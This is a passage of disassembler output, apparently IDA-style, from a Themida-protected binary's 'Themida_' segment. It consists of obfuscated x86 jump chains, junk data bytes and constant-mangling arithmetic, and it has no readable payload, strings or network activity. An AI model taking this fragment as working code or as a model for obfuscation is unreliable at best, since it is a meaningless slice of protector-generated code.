		jmp	loc_595E8C
; ---------------------------------------------------------------------------
		dw 2959h
		dd 0EA015EF2h, 5084E9h
		db 0
; ---------------------------------------------------------------------------


loc_59FAC9:				; CODE XREF: Themida_:0059664Fj
		push	edx
		jmp	loc_597D54
; ---------------------------------------------------------------------------
		db 89h
		dd 51E9240Ch
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FAD7:				; CODE XREF: Themida_:005A04A0j
		mov	[esp], ebx
		mov	ebx, 54882273h
		mov	eax, 5488226Fh
		jmp	loc_59F758
; ---------------------------------------------------------------------------


loc_59FAE9:				; CODE XREF: Themida_:005AA449j
		add	dl, ah
		add	dl, 36h
		jmp	loc_59CE62
; ---------------------------------------------------------------------------
		db 66h
		dd 81241C89h, 4ECh, 240C8900h, 0FE0CB450h, 0B241E9C4h
		dd 0C7810000h, 4, 4C781h, 15E90000h, 5E0000B4h,	31DE9h
		db 0
; ---------------------------------------------------------------------------


loc_59FB21:				; CODE XREF: Themida_:005A6875j
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 541E6658h
		jmp	loc_59A848
; ---------------------------------------------------------------------------


loc_59FB35:				; CODE XREF: Themida_:0059EE5Cj
		add	esi, ecx
		mov	ecx, [esp]
		jmp	loc_59F990
; ---------------------------------------------------------------------------
		db 0BAh
		dd 432C3FC7h, 0FC3E9h, 51535A00h, 0CB886EB1h, 81240C8Bh
		dd 4C4h, 0B5DFE900h, 0EB800000h, 0F0E4E9D8h, 0C183FFFFh
		dd 240C3304h, 33240C31h, 15C240Ch, 0CBD4E9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FB7A:				; CODE XREF: Themida_:005A49B1j
		push	ecx
		jmp	loc_5A5D8C
; ---------------------------------------------------------------------------
		dd 0BE243489h, 72587E45h, 0DEF7DEF7h, 0DB26F681h, 0F0018353h
		dd 8BC6295Eh, 0C4812404h, 4, 0FFEC17E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59FBA5:				; CODE XREF: Themida_:0059A4CDj
		add	esp, 4
		inc	ebp
		or	ebp, 4BBA7BC3h
		add	ebp, 2A4706CFh
		push	0
		sub	[esp], ebp
		pop	ebp
		not	ebp
		push	eax
		push	4CE3482Ah
		pop	eax
		or	eax, 13BC09B5h
		shl	eax, 7
		push	eax
		inc	dword ptr [esp]
		pop	eax
		or	eax, 5C183913h
		xor	eax, 0F9FDA0EEh
		shl	eax, 1
		jmp	loc_597C6B
; ---------------------------------------------------------------------------
		dd 0FF240489h, 58042474h, 8B24048Fh, 4FF2424h, 8DE99C24h
		dd 81FFFF62h, 4C1h, 7E746800h, 34890000h, 59C9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59FC12:				; CODE XREF: Themida_:005968F8j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_59A9D3
; ---------------------------------------------------------------------------
		dd 0B7241C89h, 0B75366C6h, 66F80053h, 3C2C5Bh, 2C3C04F8h
		dd 0B5FCE953h, 0B9510000h, 5EE3631h, 8244C29h, 0FFE158E9h
		dd 4FCB81FFh, 550FDE3Ch, 0FF790AE9h, 4BE56FFh, 29000000h
		dd 1C335EF3h, 241C3124h, 5C241C33h, 0B8240489h,	4, 34FFC301h
		dd 81E95824h
		db 0A5h, 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_59828D
; ---------------------------------------------------------------------------
		db 29h
		dd 8AE95FF8h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59FC8B:				; CODE XREF: Themida_:00597A8Bj
		push	6A07h
		mov	[esp], eax
		jmp	loc_59C7F6
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 0FFFFD7ADh, 0E95AD189h, 87A0h, 88240C89h
		dd 0CA8852D1h, 595AD088h, 29D8E9h, 0B0ED8100h, 1ECA879h
		dd 4055DE8h, 87000000h,	335C2404h, 34312434h, 24343324h
		dd 6624248Bh, 0E9240C89h, 0FFFFC402h, 4C4815Dh,	52000000h
		dd 42474FFh, 8324148Bh,	48F04C4h, 67A7E924h, 14890000h
		dd 53EA8824h, 88D18851h, 885259CBh, 2D03E9DEh, 0DDF70000h
		dd 0C181E987h, 4F846D02h, 55F1C981h, 24E90B72h,	80000095h
		dd 0C2804EF2h, 9947E9C1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FD2E:				; CODE XREF: Themida_:00596C09j
		add	esp, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	0FFF1659Bh
		jmp	loc_59E5EC
; ---------------------------------------------------------------------------


loc_59FD4A:				; CODE XREF: Themida_:00596F29j
		pop	eax
		push	3192h
		mov	[esp], edi
		mov	edi, esp
		push	esi
		push	edx
		push	34607FD0h
		jmp	loc_5A753C
; ---------------------------------------------------------------------------
		db 0C1h, 0EBh, 2
aR5_sP		db 'Rº\',8,'5_éœP',0
		dw 6600h
		dd 0E924048Bh, 0AB26h, 4E4F280h, 2CD028B4h, 85685AB4h
		dd 89000064h, 2AB5240Ch, 0E9ECCD80h, 75CDh, 2D08E8C1h
		dd 0FFFFFFFFh, 0FFB411E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59FDA1:				; CODE XREF: Themida_:00598ECDj
		sub	ecx, 2B590197h
		jmp	loc_59D3BB
; ---------------------------------------------------------------------------
		dd 4BF57h, 0B6E90000h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FDB7:				; CODE XREF: Themida_:00599080j
		push	edx
		push	32D0h
		mov	[esp], ecx
		push	ebp
		mov	ebp, 54AA32C0h
		push	ebp
		pop	ecx
		pop	ebp
		add	[esp+4], ecx
		jmp	loc_5A8AD7
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 0D988513Eh, 0FFC6D4E9h, 2C895CFFh, 0CCE95724h, 0FFFFFFCFh
		dd 8B042474h, 0E955243Ch, 65CAh
; ---------------------------------------------------------------------------


loc_59FDF4:				; CODE XREF: Themida_:00596DF9j
		push	dword ptr [esp+4]
		mov	esi, [esp]
		jmp	loc_5AA2B9
; ---------------------------------------------------------------------------


loc_59FE00:				; CODE XREF: Themida_:005A0891j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	ebx
		jmp	loc_5A51B8
; ---------------------------------------------------------------------------
		db 41h,	81h, 0F1h
aNu5so		db '×Nã5é®>',0
		dd 0B5ED8100h, 0E95EF87Ch, 0D05h
; ---------------------------------------------------------------------------


loc_59FE24:				; CODE XREF: Themida_:005AA474j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5A4A77
; ---------------------------------------------------------------------------
		dd 240C8B66h, 34FF5456h, 67C4E924h, 81460000h, 4ECh, 242C8900h
		dd 0D33C61BDh, 5DEE0133h, 1EE81h, 0E9550000h, 7D4Ah, 4E8835Bh
		dd 0E9240433h, 0FFFF7A28h
; ---------------------------------------------------------------------------


loc_59FE68:				; CODE XREF: Themida_:0059CF1Aj
		mov	ebx, [esp]
		jmp	loc_5A20CB
; ---------------------------------------------------------------------------


loc_59FE70:				; CODE XREF: Themida_:005AAFF9j
		add	edx, ebp
		pop	ebp
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		and	[edi+20h], esi
		jmp	loc_59FFDF
; ---------------------------------------------------------------------------
		dd 81E18951h, 4C1h, 4BD5500h, 1000000h,	0C335DE9h, 240C3124h
		dd 32EAE9h
		db 0
; ---------------------------------------------------------------------------


loc_59FEA1:				; CODE XREF: Themida_:005AA3CCj
		mov	esi, [esp]
		add	esp, 4
		xor	edx, [esp]
		jmp	loc_5A0815
; ---------------------------------------------------------------------------


loc_59FEAF:				; CODE XREF: Themida_:00597523j
		sub	edx, esi
		mov	esi, [esp]
		add	esp, 4
		mov	ecx, edx
		pop	edx
		push	437Ch
		mov	[esp], ecx
		sub	dword ptr [esp], 194F5C6Eh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A13E1
; ---------------------------------------------------------------------------


loc_59FED4:				; CODE XREF: Themida_:0059CCB0j
		mov	esi, 28603978h
		xor	edx, esi
		pop	esi
		add	edx, 180FFEBh
		or	ebp, edx
		jmp	loc_597F6A
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0C86FE5BFh, 5FFA016Ah, 7FAEE9h, 243C8B00h, 4C481h, 0C4810000h
		dd 4, 3F0BE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59FF0E:				; CODE XREF: Themida_:0059EAFAj
		pop	edi
		push	ebp
		jmp	loc_59C820
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 4
		dd 89000000h, 0D3015EF2h, 4265E9h, 0EFEE8100h, 0FF64D426h
		dd 2C8B2434h, 4C48124h,	56000000h, 0C681E689h, 4, 4C681h
		dd 15E90000h, 88FFFFCAh, 0C3E95AF5h
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59FF53:				; CODE XREF: Themida_:005A8F0Aj
		mov	ebp, 0E4D4AF4h
		jmp	loc_5A6E38
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 8Ah
		dd 81152056h, 0FBC93DF5h, 0D5B95113h, 1E8226Ah,	902D59CDh
		dd 566406Ch, 0EE043A7h,	50E9E801h, 0FF0000A3h, 148B2404h
		dd 5AE7E924h, 895C0000h, 2BBB241Ch, 8132C124h, 0CE06D0F3h
		dd 2E3C104h, 0C3F5C381h, 0DF899F40h, 8AE9555Bh,	5Eh, 0EC8158E2h
		dd 2, 84EBE9h
		db 0
; ---------------------------------------------------------------------------


loc_59FFBD:				; CODE XREF: Themida_:00598A66j
		pop	ebx
		push	1C64h
		mov	[esp], edi
		jmp	loc_5A99D1
; ---------------------------------------------------------------------------


loc_59FFCB:				; CODE XREF: Themida_:005A54F0j
		xchg	eax, [esp]
		mov	esp, [esp]
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	fs:[edx], al
		jmp	loc_595E8C
; ---------------------------------------------------------------------------


loc_59FFDF:				; CODE XREF: Themida_:0059FE7Fj
		pop	esi
		push	434Bh
		mov	[esp], eax
		mov	eax, 20h
		add	eax, edi
		xor	dword ptr [eax], 19323Bh
		pop	eax
		push	64D3h
		mov	[esp], ebx
		jmp	loc_5A9DEB
; ---------------------------------------------------------------------------
		db 0B9h
		dd 39F720ECh, 1F53E981h, 0D9F704D3h, 81C18141h,	2986667Ch
		dd 7B6859C8h, 89000028h, 0DBD242Ch, 5526D709h, 1242C81h
		dd 5D000000h, 8104E5C1h, 5B7070E5h, 53E5D110h, 5105E6BBh
		dd 8D59E929h, 0EE87FFFFh, 86DBE9h, 5E3AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0052:				; CODE XREF: Themida_:005A09B0j
		push	ebx
		mov	ebx, 274249B6h
		sub	ebx, 26190713h
		xor	ebx, 43E65ECh
		shl	ebx, 6
		push	ebp
		mov	ebp, 50935EB9h
		sub	ebx, 68826395h
		add	ebx, ebp
		add	ebx, 68826395h
		pop	ebp
		jmp	loc_5A4D17
; ---------------------------------------------------------------------------


loc_5A0081:				; CODE XREF: Themida_:0059B0D9j
		neg	bh
		sub	bh, 94h
		sub	al, bh
		jmp	loc_5A8788
; ---------------------------------------------------------------------------


loc_5A008D:				; CODE XREF: Themida_:00597091j
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A6F66
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 55000000h, 0AC968h, 0AFC8E900h, 0C581FFFFh, 1ECE43C0h
		dd 5224148Bh, 5EC8E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A00CD:				; CODE XREF: Themida_:0059DDD2j
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_5A7DAE
; ---------------------------------------------------------------------------


loc_5A00DF:				; CODE XREF: Themida_:005A5ACDj
		pop	eax
		push	3192h
		mov	[esp], eax
		mov	eax, 4
		sub	ecx, eax
		pop	eax
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_59C6DE
; ---------------------------------------------------------------------------


loc_5A0104:				; CODE XREF: Themida_:005A66D2j
		mov	[esp], ecx
		sub	dword ptr [esp], 3A3D6639h
		pop	eax
		push	edi
		mov	edi, 3EFE1CACh
		and	edi, 3ABB0D99h
		not	edi
		jmp	loc_5A6076
; ---------------------------------------------------------------------------
		dw 0C680h
		dd 0D4F68002h, 8853CEFEh, 0E9D3F6F3h, 0FFFFAA51h, 0E9242C8Bh
		dd 766Dh, 81240C8Bh, 4C4h, 76A7E900h, 2C8BFFFFh, 4C48324h
		dd 0FFE796E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A0155:				; CODE XREF: Themida_:0059DBCFj
		xchg	edx, [esp]
		pop	esp
		mov	ebp, [esp]
		add	esp, 4
		push	31C4h
		mov	[esp], edx
		push	eax
		mov	eax, 18226510h
		and	eax, 6F7D4A6Fh
		sub	eax, 18DC5866h
		jmp	loc_59CEFD
; ---------------------------------------------------------------------------


loc_5A017C:				; CODE XREF: Themida_:005AA4A1j
		pop	edx
		sub	al, 53h
		add	al, bl
		jmp	loc_5A28AD
; ---------------------------------------------------------------------------


loc_5A0186:				; CODE XREF: Themida_:005997F9j
		xor	esi, 600F7B77h
		sub	ebp, 3005296Bh
		add	ebp, esi
		add	ebp, 3005296Bh
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_596C3B
; ---------------------------------------------------------------------------
		db 0B9h, 0D6h, 29h
		dd 81BE5904h, 556FB21Eh, 9A2C79BDh, 5DEE2957h, 0C82EEE81h
		dd 0CE29BF13h, 0FF6608E9h, 235DBDFFh, 21BE503Ch, 0E9A4E561h
		dd 9AF9h, 8B24248Bh, 89572404h,	50BCE9E7h, 34FF0000h, 0EE98E924h
		dd 8951FFFFh, 0ED11E9E1h, 0EE68FFFFh, 0E9000030h, 0FFFFB5D1h
		dd 4BE9CF01h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0207:				; CODE XREF: Themida_:0059E561j
		add	ebx, 3F0C3BD6h
		push	dword ptr [esp]
		pop	edx
		jmp	loc_599101
; ---------------------------------------------------------------------------
		dw 34FFh
aHX		db '$[hÂx',0
		dw 8900h
		dd 0E389241Ch, 6583E9h,	242C8900h, 73660BDh, 8BE8217Ch
		dd 0EE9242Ch
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A023B:				; CODE XREF: Themida_:005A7150j
		push	dword ptr [esp]
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 4
		sub	edx, 17EF09F1h
		jmp	loc_59D495
; ---------------------------------------------------------------------------
		dw 0C7BAh
		dd 894B7E1Ch, 0C1015AD0h, 53E95658h, 68000047h,	3F84h
		dd 0B9240C89h, 4, 4EC81h, 2C890000h, 6FBEBD24h,	0BF5778FDh
		dd 57EF3DDEh, 815FFD29h, 0E20ADFEDh, 75EF81AFh,	2942A734h
		dd 747DE9EFh, 7BBBFFFFh, 0F77A5203h, 0AAB850DBh, 4820D05Ch
		dd 0E0C1D0F7h, 101F2D06h, 0C329C121h, 5BD82958h, 0BB53575Fh
		dd 44D81716h, 0E9D88950h, 1491h, 24048B66h, 4369E9h, 59CB2900h
		dd 12C3815Dh, 0E948653Ch, 21F6h
; ---------------------------------------------------------------------------


loc_5A02F0:				; CODE XREF: Themida_:0059A1B1j
		and	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	esi, 118B6A55h
		jmp	loc_596995
; ---------------------------------------------------------------------------
		dd 0D065E951h, 5450FFFFh, 0AF30E958h, 68510000h, 396876F3h
		dd 0DE9CE959h, 815EFFFFh, 634CBAF6h, 760A682Ch,	14890000h
		dd 89F28924h, 0E95E5AD5h, 0FFFFABBCh
; ---------------------------------------------------------------------------


loc_5A0338:				; CODE XREF: Themida_:0059E328j
		push	dword ptr [esp]
		jmp	loc_59B16F
; ---------------------------------------------------------------------------
		dd 8B241433h, 8F662424h, 3DE92404h, 87FFFF5Bh, 895C241Ch
		dd 0FF682414h, 8900007Eh, 8B1240Ch, 0FFB6C6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A0365:				; CODE XREF: Themida_:005AB183j
		dec	ch
		inc	ch
		xor	ch, 88h
		xor	ch, 25h
		jmp	loc_5983DC
; ---------------------------------------------------------------------------
		dd 280BD55h, 0E5817716h, 75A0669Ah, 0E906E5C1h,	672Fh
		dd 0CBE9EA88h, 87FFFF7Eh, 895C242Ch, 80BB241Ch,	8146E002h
		dd 0D04051CBh, 0B6B9515Bh, 0E93A903Dh, 4A31h
; ---------------------------------------------------------------------------


loc_5A03AC:				; CODE XREF: Themida_:0059B17Aj
		push	ebp
		mov	ebp, 2AA343EFh
		push	5AEDh
		mov	[esp], ebx
		jmp	loc_59A568
; ---------------------------------------------------------------------------


loc_5A03BF:				; CODE XREF: Themida_:0059C894j
		push	eax
		mov	eax, 0A4758108h
		xor	ecx, eax
		pop	eax
		add	ebx, ecx
		pop	ecx
		jmp	loc_59DAFD
; ---------------------------------------------------------------------------


loc_5A03D0:				; CODE XREF: Themida_:00597A80j
		push	edx
		mov	edx, 5791E51Ch
		xor	esi, edx
		jmp	loc_5A3276
; ---------------------------------------------------------------------------


loc_5A03DD:				; CODE XREF: Themida_:00598703j
		sub	bl, 5
		and	bl, 17h
		sub	bl, 6Fh
		inc	bl
		xor	bl, 2Ah
		and	dh, bl
		jmp	loc_5A18E8
; ---------------------------------------------------------------------------
		dw 0BFBEh
		dd 315E497Dh, 24348BF2h, 4C481h, 0EA810000h, 5A17E541h
		dd 8B1C5721h, 52682414h, 89000046h, 5F54243Ch, 4C781h
		dd 0E9560000h, 0FFFF757Eh, 8759C801h, 0E95C2404h, 56A2h
		dd 81242489h, 42404h, 77E90000h
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A043F:				; CODE XREF: Themida_:005A655Cj
		push	edi
		jmp	loc_5A4EB9
; ---------------------------------------------------------------------------
		db 8Fh,	2, 0E9h
		dd 0E93h, 6C01C281h, 348B20C4h,	4C48124h, 81000000h, 4ECh
		dd 24348900h, 4BEh, 63EA8100h, 1059376h, 2831E9F2h, 14890000h
		dd 0E95A5424h, 0FFFFF071h, 4EF81h, 3C330000h, 243C3124h
		dd 5C243C33h, 0FFE54CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A0495:				; CODE XREF: Themida_:0059BDF1j
		mov	esp, [esp]
		mov	[esp], eax
		push	30EDh
		jmp	loc_59FAD7
; ---------------------------------------------------------------------------
		db 68h,	78h, 38h
		dd 1C890000h, 0C5B85024h, 525CE07Bh, 0FFA1FFE9h, 241C87FFh
		dd 0ABBCE95Ch, 0D301FFFFh, 947DE95Ah, 4E2DFFFFh, 0F7060934h
		dd 8E8C1D8h, 0B6C78F2Dh, 8BC329EDh, 0C4832404h,	56C30104h
		dd 5E39DBBEh, 0C0C68109h, 10955DAh, 8F515EF3h, 241C8B03h
		dd 0FF9FB5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A04FD:				; CODE XREF: Themida_:00597E2Aj
		push	2F27h
		mov	[esp], eax
		jmp	loc_5A354C
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 597AE924h, 0BF57FFFFh, 750D5021h, 8105EFC1h,	0E803AECFh
		dd 67F2E945h, 0EC81FFFFh, 4, 100FE9h, 0C2814A00h, 32BBA8A3h
		dd 0FF5AD001h, 148B2434h, 4C48324h, 81E68956h, 4C6h, 4C68100h
		dd 0E9000000h, 0FFFFC57Fh, 0E924048Fh, 9D27h, 51242C89h
		dd 31286EB9h, 57E1D123h, 0FC5576BFh, 0C7814741h, 62434777h
		dd 67C1C781h, 814F1E50h, 91227C7h, 0E9F90176h, 0AB5Bh
; ---------------------------------------------------------------------------


loc_5A058C:				; CODE XREF: Themida_:005A0EEEj
		pop	eax
		push	ebp
		push	942h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		sub	esp, 4
		jmp	loc_5979D4
; ---------------------------------------------------------------------------
aIxvsja		db '‰åVéJa',0
		dd 0AECE8100h, 812FBF50h, 8548AFC6h, 2816E967h,	22B50000h
		dd 0FF6115E9h, 81E1D1FFh, 8147E8E1h, 81E1D111h,	0E6132C1h
		dd 59C88919h, 5258C709h, 0A193E9h, 81C78100h, 2948491Fh
		dd 81BA52DFh, 8148491Fh, 0EF3DB6C7h, 68D7294Fh,	4352h
		dd 0BE243489h, 4FEF3DB6h, 0A7E9F729h, 1FFFF86h,	12D52DC8h
		dd 29593891h, 13BF57C8h, 0E9085C6Dh, 0FFFFAC76h, 5C240487h
		dd 1075B951h, 0E981397Bh, 73C86538h, 0AB39E981h, 0B005C5B2h
		dd 5763C5Dh, 29FC35B6h,	0B62DC801h, 2D29FC35h, 763C5DB0h
		dd 63D46859h, 11E90000h, 81FFFF5Ch, 4C2h, 1F90E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A066E:				; CODE XREF: Themida_:0059B4A6j
		push	ebx
		jmp	loc_5A9F69
; ---------------------------------------------------------------------------
		dd 0E95FFD89h, 0FFFF6C0Dh, 24048B66h, 0D6B68h, 243C8900h
		dd 243C8B54h, 4EC8152h,	89000000h, 4832424h, 515A0424h
		dd 4B9h, 59CA0100h, 0FFD12BE9h,	7D0D35FFh, 282D0779h, 0E91F7138h
		dd 0FFFFF27Fh
; ---------------------------------------------------------------------------


loc_5A06B8:				; CODE XREF: Themida_:0059D12Fj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	5282h
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_59CC3C
; ---------------------------------------------------------------------------
		db 66h
		dd 53241489h, 0E3804EB3h, 0C5B7E92Eh, 3C8BFFFFh, 4C48324h
		dd 2474FF55h, 242C8B04h, 4C481h, 48F0000h, 24248B24h, 5068E9F7h
		dd 89000041h, 9C502414h, 0FF5763E9h, 241C68FFh,	4890000h
		dd 88F48824h, 24048BE1h, 1A4CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A073D:				; CODE XREF: Themida_:005AAC72j
		push	eax
		push	ebp
		push	698E4A40h
		pop	ebp
		jmp	loc_5A9E51
; ---------------------------------------------------------------------------
aHC		db ']hÓC',0
		align 10h
		dd 0B9240C89h, 2, 0FFFAA3E9h, 0FF565BFFh, 0E9042474h, 5CEAh
		dd 3824E281h, 0E94A4678h, 4466h, 244C2966h, 66596604h
		dd 8324148Bh, 39E902C4h, 81FFFF7Eh, 4335ABC5h, 0A4ED8115h
		dd 81050361h, 2A9E8CC5h, 7AB6E92Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A079E:				; CODE XREF: Themida_:005A2B3Dj
		dec	esi
		neg	esi
		add	esi, 4DDD78CAh
		sub	esi, 3A2D6C20h
		add	ecx, esi
		jmp	loc_59EA48
; ---------------------------------------------------------------------------
aYhe		db '!ÊYh…\',0
		align 4
		dd 0FFD27DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A07C1:				; CODE XREF: Themida_:005A83F3j
		xchg	ebx, edx
		not	ebx
		xchg	ebx, edx
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		pop	eax
		push	6F07h
		mov	[esp], ebx
		push	1
		jmp	loc_5A59B4
; ---------------------------------------------------------------------------
aBsjX2saa	db ')ÙéJ',0Ah
		db 'x2é€A',0
		align 10h
		dd 1568C381h, 835906F4h, 3C8904ECh, 45BEBF24h, 0CFE93A51h
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0807:				; CODE XREF: Themida_:005A116Cj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5AA50E
; ---------------------------------------------------------------------------


loc_5A0815:				; CODE XREF: Themida_:0059FEAAj
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_5A9BCC
; ---------------------------------------------------------------------------


loc_5A0821:				; CODE XREF: Themida_:005A5DB7j
		pop	eax
		add	[edi+24h], ebp
		jmp	loc_5AA0FA
; ---------------------------------------------------------------------------


loc_5A082A:				; CODE XREF: Themida_:0059A3D0j
		push	607Ah
		jmp	loc_599540
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 83582434h, 0EC8304C4h, 24348904h, 0C6815E54h
		dd 4, 8704EE83h, 895C2434h, 8B542434h, 89572434h, 0D63E9E7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0862:				; CODE XREF: Themida_:005A0E0Dj
		pop	edi
		add	ecx, 2
		xchg	ecx, [esp]
		pop	esp
		push	0DA3h
		mov	[esp], ebx
		mov	bl, 0B5h
		add	bl, 0D4h
		push	ecx
		mov	ch, 7Eh
		or	ch, 59h
		add	ch, 80h
		jmp	loc_5A5455
; ---------------------------------------------------------------------------


loc_5A0888:				; CODE XREF: Themida_:005A0B24j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59FE00
; ---------------------------------------------------------------------------
		dw 5Ah
		dd 686658E3h, 8966176Eh, 0EC812414h, 4,	0B1240C89h, 0A0C9801Eh
		dd 6CDBE9h, 24248B00h, 9C2404D3h, 0FF55CBE9h, 59CB89FFh
		dd 126DB951h, 0CB29317Ch, 32DAE9h, 1EB3BE00h, 0E68125ABh
		dd 1A9D38A8h, 1AE6814Eh, 814CF941h, 0F855B1F6h,	0F2C6811Dh
		dd 0E914C8D5h, 0A2A4h, 0E9C1015Ch, 0FFFF9CDAh, 18B64D05h
		dd 78EB81B1h, 0E95D6816h, 0FFFF74F3h, 241C875Fh, 0ABE9515Ch
		dd 5DFFFFA6h, 0E9243C87h, 0FFFFB757h, 5FF568h, 242C8900h
		dd 0AC38A0BDh, 53D5F747h, 2D183D68h, 0DD095B48h, 92E5815Bh
		dd 0F755CA63h, 76FB68D5h, 4890000h, 0E26B824h, 0C53147DCh
		dd 55ED8158h, 29973589h, 0EFC15DEFh, 2EFC106h, 0FFA96BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A0965:				; CODE XREF: Themida_:005A5D87j
		mov	[esp], edi
		mov	edi, 400h
		sub	esp, 4
		jmp	loc_5AA9CC
; ---------------------------------------------------------------------------
		dd 74CEE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		push	1C4Ch
		mov	[esp], ebp
		jmp	loc_5A9269
; ---------------------------------------------------------------------------
		db 68h,	0F7h, 2Fh
		dd 0FDE90000h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A09AB:				; CODE XREF: Themida_:005A758Bj
		neg	ecx
		shr	ecx, 5
		jmp	loc_5A0052
; ---------------------------------------------------------------------------
		db 0ACh, 52h, 0E9h
		dd 0FFFF6849h, 13E9C601h, 81000085h, 9305E7EAh,	9279E9F9h
		dd 524E0000h, 316253BAh, 6675E90Bh, 0C181FFFFh,	59451F7Eh
		dd 89505A58h, 405E0h, 0E8830000h, 0E0895004h, 405h, 42D00h
		dd 4870000h, 4895C24h, 2474FF24h, 24048B04h, 8F04C483h
		dd 895C2404h, 2BE2434h,	81000000h, 0CF49FDE9h, 81F10123h
		dd 0CF49FDC1h, 24348B23h, 1E41E950h, 0BE560000h, 20F976E2h
		dd 68BDE9h, 0E9BB5300h,	815FA12Bh, 0D76991F3h, 4E3C117h
		dd 666DCB81h, 7E931C4h,	8000007Fh, 54E98BC4h, 81FFFFF5h
		dd 0BC1A98CEh, 0A2F68162h, 814E3177h, 74685BEEh, 33BFE92Bh
		dd 0C5800000h, 59EB00A0h, 6602EC83h, 0B5240C89h, 66E828FBh
		dd 2C892C59h, 28112C8Dh, 4807E9D8h, 1C890000h, 50E38924h
		dd 4B8h, 58C30100h, 0FFA9CDE9h,	0D5F75BFFh, 0F581D5F7h
		dd 4DBE721Ch, 0F363E945h, 0D300FFFFh, 5A2434FFh, 8004C483h
		dd 0AE923EBh, 51FFFFBFh, 0BE565954h, 33CF7222h,	0C681DEF7h
		dd 12F6291Fh, 7E62EE81h, 0F6817039h, 6EED389Fh,	4964E9h
		dd 88E58800h, 885159EFh, 8BCE88F9h, 0C483240Ch,	8808E904h
		dd 0EC810000h, 4, 0E9241C89h, 24BCh, 148BD329h,	4C48324h
		dd 24FEB850h, 0C6E930E9h
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0B1F:				; CODE XREF: Themida_:0059E068j
		mov	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_5A0888
; ---------------------------------------------------------------------------
		db 1, 0E9h, 8Bh
		dd 0C483242Ch, 240C8704h, 6824248Bh, 3558h, 0E9240489h
		dd 0FFFF5348h
; ---------------------------------------------------------------------------


loc_5A0B44:				; CODE XREF: Themida_:005A862Dj
		add	ebx, 4
		sub	esp, 4
		mov	[esp], edx
		push	35BD0944h
		pop	edx
		shl	edx, 7
		push	eax
		mov	eax, 7092520Ah
		add	edx, eax
		jmp	loc_59B0B2
; ---------------------------------------------------------------------------
		dw 3C87h
